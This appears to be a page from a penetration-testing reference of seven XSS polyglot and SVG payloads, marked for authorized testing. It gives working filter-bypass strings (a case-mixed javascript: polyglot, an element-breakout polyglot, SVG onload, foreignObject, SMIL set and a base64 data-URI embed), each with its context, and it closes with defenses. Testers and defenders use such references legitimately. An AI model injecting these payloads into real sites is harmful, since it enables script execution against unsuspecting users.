Skip to content

XSS Polyglot & SVG Payloads

7 payloadsFor authorized testing only

A polyglot is a single payload crafted to execute no matter which context it lands in — HTML body, attribute, JavaScript string or URL. They're invaluable for blind or black-box testing where you can't see how your input is reflected, at the cost of being noisy and easy to spot.

SVG vectors are grouped here because they exploit the same idea: SVG's own namespace, event handlers (onload), SMIL animation (<set>, <animate>) and <foreignObject> often slip past filters that only reason about HTML. The payloads below cover both.

Case-mixed javascript: polyglot

URL / fragmentseverity: high
jaVasCript:/*-/*`/*\`/*'/"/**/(/* */oNcliCk=alert("XSS") )//
Context
Multiple contexts at once (URL, attribute, JavaScript).
What it needs
An injection point whose context you cannot determine in advance.
Why it works
One string stays valid across contexts; mixed case evades javascript: filters and comments neutralize surrounding syntax.

Multi-context breakout polyglot

HTML bodyseverity: high
'"-->]]>*/</script></style></textarea></title></noscript></template></select><script>alert('XSS')</script>
Context
Unknown HTML element context.
What it needs
Reflection inside some container element (textarea, title, style, …).
Why it works
It closes every common raw-text / escapable element, then injects a fresh <script>.

SVG script polyglot

HTML bodyseverity: medium
<svg><script>alert("XSS")</script></svg>
Context
HTML body where SVG is allowed.
What it needs
SVG permitted but plain <script> stripped.
Why it works
<script> inside <svg> runs in the SVG namespace.

SVG namespace onload

HTML bodyseverity: low
<svg xmlns="http://www.w3.org/2000/svg" onload=alert("XSS")>
Context
HTML body where SVG is allowed.
What it needs
Sanitizer permits <svg> and event attributes.
Why it works
onload on the root <svg> fires on parse.

SVG foreignObject XSS

HTML bodyseverity: medium
<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert("XSS")</script></body></foreignObject></svg>
Context
HTML body where SVG is allowed.
What it needs
SVG allowed; filter only inspects HTML, not SVG children.
Why it works
<foreignObject> smuggles XHTML/script inside the SVG tree.

SVG set href attribute

HTML bodyseverity: medium
<svg><set attributeName="href" to="javascript:alert('XSS')" /></svg>
Context
HTML body where SVG/SMIL is allowed.
What it needs
SMIL animation elements not stripped.
Why it works
<set> animates href to a javascript: URL, firing without any on* attribute.

Embed SVG via base64 data-URI

HTML bodyseverity: high
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnPjxzY3JpcHQ+YWxlcnQoJ3t7bXNnfX0nKTwvc2NyaXB0Pjwvc3ZnPg==">
Context
HTML body where <embed> is allowed.
What it needs
External/data object embedding permitted.
Why it works
The base64 data: SVG carries its own script, bypassing inline-markup filters.

Defense

  • Contextually encode output everywhere; a polyglot only works where some context is unescaped.
  • Strip SVG (and its event/animation attributes) when you don't need it in untrusted HTML.
  • Sanitize with a library that understands SVG/MathML foreign content.
  • Layer a strict CSP to block inline execution.

Keep testing